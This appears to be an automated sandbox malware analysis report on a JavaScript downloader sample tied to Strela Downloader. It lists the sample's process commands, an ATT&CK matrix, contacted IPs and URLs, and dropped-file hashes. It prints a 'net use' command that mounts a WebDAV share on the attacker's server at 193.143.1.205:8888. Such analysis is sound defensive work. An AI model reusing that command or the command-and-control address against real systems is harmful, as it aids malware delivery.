Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5197307041739714413.js	0%	ReversingLabs
5197307041739714413.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/tK	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2778886790.000002097FCA4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1549032653.000002097FA10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/$	net.exe, 00000007.00000002.1557997210.000001CA084F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1547267888.000001CA08527000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545345669.000001CA08548000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1557997210.000001CA084F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558598612.000001CA0854A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558394810.000001CA08527000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/.	net.exe, 00000007.00000003.1547267888.000001CA08527000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558394810.000001CA08527000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tK	net.exe, 00000007.00000002.1557997210.000001CA084F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588329
Start date and time:	2025-01-11 00:05:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5197307041739714413.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 54.224.241.105, 172.202.163.200, 23.36.204.153, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:06:27	API Interceptor	22x Sleep call for process: powershell.exe modified
18:06:31	API Interceptor	1x Sleep call for process: net.exe modified
18:06:31	API Interceptor	2x Sleep call for process: svchost.exe modified
18:06:38	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2640024673100216355.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32600206981428831400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	240815025266174071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17231147702223410654.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021981958682737
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAL:RJE+Lfki1GjHwU/+vVhWqpu
MD5:	E48FD73D555EDB9065DDB472FC7FC02B
SHA1:	2850014E8066A37F9405241CC470900D47DAF5D9
SHA-256:	1B0AA50555FA0D97F70F8B40E206FE7E126D5A7EB7D2891599160869CE1A882C
SHA-512:	98849FD9BC3BBC7682CAA661E9665F43DEAB440814258819453A090D9EC8B8060E5A74B661CEE82C9B6548DA2698D5105784FCB6CB17CF4E2D92A04C6C641972
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x14015526, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432978707047934
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:razaHvxXy2V2UR
MD5:	E7191A958718DD4F82CE2D90B8F58B14
SHA1:	0525787F887112EADEAF76C93B18BE08B0C5144F
SHA-256:	FAEFDB90959C0DB67F2989E14D184A72DB0C7758558ACF80BA09AD4B2A75657E
SHA-512:	0A0CADF90C71E30E8B92C8090BEE1B01458B020C3BABD86B6CE791DE54EEB5D0246A641100439D5271872656A97745E6512FD92FA0861229982C4C4E308811F7
Malicious:	false
Preview:	..U&... ...............X\...;...{......................0.x...... ...{s. ....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................=-. ....}9...................va ....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08056620450444739
Encrypted:	false
SSDEEP:	3:rxalXKYeyBYinVsl/nqlFcl1ZUllllXOIltlallGBnX/l/Tj/k7/t:4lXKzcYinVsl/qlFclQ/lUIltA254
MD5:	2B83BB437AF78D29BE0D7B5365CB5C77
SHA1:	CCCD30E678F0C483C66CBD84F54F7B879AA3C414
SHA-256:	6ED733DDAF6C0100B3A8E778F2FCE4B0F2F6FCD100E619F1277C80DD552546BE
SHA-512:	97C515D96472C71EA59D32F8E3E670928D234A5CFB90E7C3A3FF284E0AEF0B3912932205B55E5F15F27CE9AA74C705D1777D8F1DE8DAC7CD167A170F41D8FB24
Malicious:	false
Preview:	.........................................;...{.. ....}... ...{s.......... ...{s.. ...{s.P.... ...{s...................va ....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.193720634235319
Encrypted:	false
SSDEEP:	6:iO4NfHtQL+q2PCHhJ2nKuAl9OmbnIFUtSNfHwQG1ZmwsNfHwQQLVkwOCHhJ2nKui:7knvBHAahFUtmQT1/gQT56HAaSJ
MD5:	C51456C85DDF171100E90191C9379E7C
SHA1:	419D976A8C3F6CF9BB25A3910627EBCE60EC41E2
SHA-256:	533DF7962A0EAD1B37EDA51E5EDCD85720D872D2D8152BE0EE399800719E4C03
SHA-512:	EF5118AFCF83CDFFE33ABA54675BC2D864AB3D4A088DB4AA8D262376FE5E2DF5944C7F03C6300F8CCE802E2E5AF9BE533B0F6AA02AD5BBC1202AEE1987204052
Malicious:	false
Preview:	2025/01/10-18:06:31.602 fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:06:31.604 fc8 Recovering log #3.2025/01/10-18:06:31.604 fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.193720634235319
Encrypted:	false
SSDEEP:	6:iO4NfHtQL+q2PCHhJ2nKuAl9OmbnIFUtSNfHwQG1ZmwsNfHwQQLVkwOCHhJ2nKui:7knvBHAahFUtmQT1/gQT56HAaSJ
MD5:	C51456C85DDF171100E90191C9379E7C
SHA1:	419D976A8C3F6CF9BB25A3910627EBCE60EC41E2
SHA-256:	533DF7962A0EAD1B37EDA51E5EDCD85720D872D2D8152BE0EE399800719E4C03
SHA-512:	EF5118AFCF83CDFFE33ABA54675BC2D864AB3D4A088DB4AA8D262376FE5E2DF5944C7F03C6300F8CCE802E2E5AF9BE533B0F6AA02AD5BBC1202AEE1987204052
Malicious:	false
Preview:	2025/01/10-18:06:31.602 fc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:06:31.604 fc8 Recovering log #3.2025/01/10-18:06:31.604 fc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1705269783154755
Encrypted:	false
SSDEEP:	6:iO4NfHgvN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSNfHGVFZZmwsNfH99VkwOCHhJ2g:7kqIvBHAa8uFUtmmvZ/gdD56HAa8RJ
MD5:	B42C889A2BB7B14D398019F6D8665AAD
SHA1:	98D769ABD98F3007A3C806C1D3E3F114ADCD2A5C
SHA-256:	29E7C80BE64675383EE891F88EC3842E56AEF9DA8B2EB6DC4491385BC60493C2
SHA-512:	DD9FF99B57DF4A3CEA65A9BC7E005B4DCABF0F016E4B6E19E20365D32B4EE87A25574DD86F6044F942DE7A32CEDD582E5782B06326E8D0F7BB57E69F830A715F
Malicious:	false
Preview:	2025/01/10-18:06:31.690 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:06:31.692 1c28 Recovering log #3.2025/01/10-18:06:31.693 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1705269783154755
Encrypted:	false
SSDEEP:	6:iO4NfHgvN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSNfHGVFZZmwsNfH99VkwOCHhJ2g:7kqIvBHAa8uFUtmmvZ/gdD56HAa8RJ
MD5:	B42C889A2BB7B14D398019F6D8665AAD
SHA1:	98D769ABD98F3007A3C806C1D3E3F114ADCD2A5C
SHA-256:	29E7C80BE64675383EE891F88EC3842E56AEF9DA8B2EB6DC4491385BC60493C2
SHA-512:	DD9FF99B57DF4A3CEA65A9BC7E005B4DCABF0F016E4B6E19E20365D32B4EE87A25574DD86F6044F942DE7A32CEDD582E5782B06326E8D0F7BB57E69F830A715F
Malicious:	false
Preview:	2025/01/10-18:06:31.690 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:06:31.692 1c28 Recovering log #3.2025/01/10-18:06:31.693 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.965775133894895
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7gXhsBdOg2H4caq3QYiub6P7E4T3y:Y2sRdsmgidMHz3QYhbS7nby
MD5:	865DE9457F420DAD1C71614A1CB114D6
SHA1:	4E685B8C3CEDC74EC1E51E3585B41C7BDC1B77CB
SHA-256:	63A1802A97E2C8112B568E6FC4047BC9FA9763B364C0C8682406F2B807F41A86
SHA-512:	E83B507699A1C3D717EDC4BE489259B1E926388C489E7AB370BB8DEC2D58FF829AA6A831E6E1479FD50AA97A6E91C035B20D4FCCA7FA1431728AAE05B5F977B7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110403055564","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132370},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2f2c82f-fbc7-4a62-bf53-2e08ee2dfe7e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.965775133894895
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq7gXhsBdOg2H4caq3QYiub6P7E4T3y:Y2sRdsmgidMHz3QYhbS7nby
MD5:	865DE9457F420DAD1C71614A1CB114D6
SHA1:	4E685B8C3CEDC74EC1E51E3585B41C7BDC1B77CB
SHA-256:	63A1802A97E2C8112B568E6FC4047BC9FA9763B364C0C8682406F2B807F41A86
SHA-512:	E83B507699A1C3D717EDC4BE489259B1E926388C489E7AB370BB8DEC2D58FF829AA6A831E6E1479FD50AA97A6E91C035B20D4FCCA7FA1431728AAE05B5F977B7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381110403055564","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132370},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232447925852681
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bKzq4/:S43C4mS7fFi0KFYDjr3LWO3V3aw+bK+q
MD5:	20CCBB57CD6C024976DABE7F457DA2B4
SHA1:	E59C646FCDEC6A8CC47CB2AD48CF45E91A98F3C4
SHA-256:	5275C3B2F519C3530DB8F5AAD538113E51E5DC2B25659C2B47A9C8A21FC91ECB
SHA-512:	52401E7C25AD5ACA1736C62D5C595B297E18428A303DCBBA2AE3F1EE3AE366BC60F4102D580427349B8D8232B97A055418A3A8DCB09FFB7A1A1B557F8DC2E46D
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.169979394677469
Encrypted:	false
SSDEEP:	6:iO4NfH4U+q2PCHhJ2nKuAl9OmbzNMxIFUtSNfHKZZmwsNfHkNVkwOCHhJ2nKuAlG:7kcvBHAa8jFUtme/gA56HAa84J
MD5:	5A4B56CB2811F8945F5090755B037D7C
SHA1:	1AA102664A94E30FED2BF66059393F579666E31D
SHA-256:	8990271951301E739B54BD26DB515EFDDF21A20FD488A5E2300BB353955F32D9
SHA-512:	F908C2266854B687806A98A52F2B129F006CB20C64C4625D1B56A85F43B27ACBB0A8E1C512AB4663F177353D0135735112E9B643C690CD19E514B18650ACA5E4
Malicious:	false
Preview:	2025/01/10-18:06:31.804 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:06:31.805 1c28 Recovering log #3.2025/01/10-18:06:31.807 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.169979394677469
Encrypted:	false
SSDEEP:	6:iO4NfH4U+q2PCHhJ2nKuAl9OmbzNMxIFUtSNfHKZZmwsNfHkNVkwOCHhJ2nKuAlG:7kcvBHAa8jFUtme/gA56HAa84J
MD5:	5A4B56CB2811F8945F5090755B037D7C
SHA1:	1AA102664A94E30FED2BF66059393F579666E31D
SHA-256:	8990271951301E739B54BD26DB515EFDDF21A20FD488A5E2300BB353955F32D9
SHA-512:	F908C2266854B687806A98A52F2B129F006CB20C64C4625D1B56A85F43B27ACBB0A8E1C512AB4663F177353D0135735112E9B643C690CD19E514B18650ACA5E4
Malicious:	false
Preview:	2025/01/10-18:06:31.804 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:06:31.805 1c28 Recovering log #3.2025/01/10-18:06:31.807 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
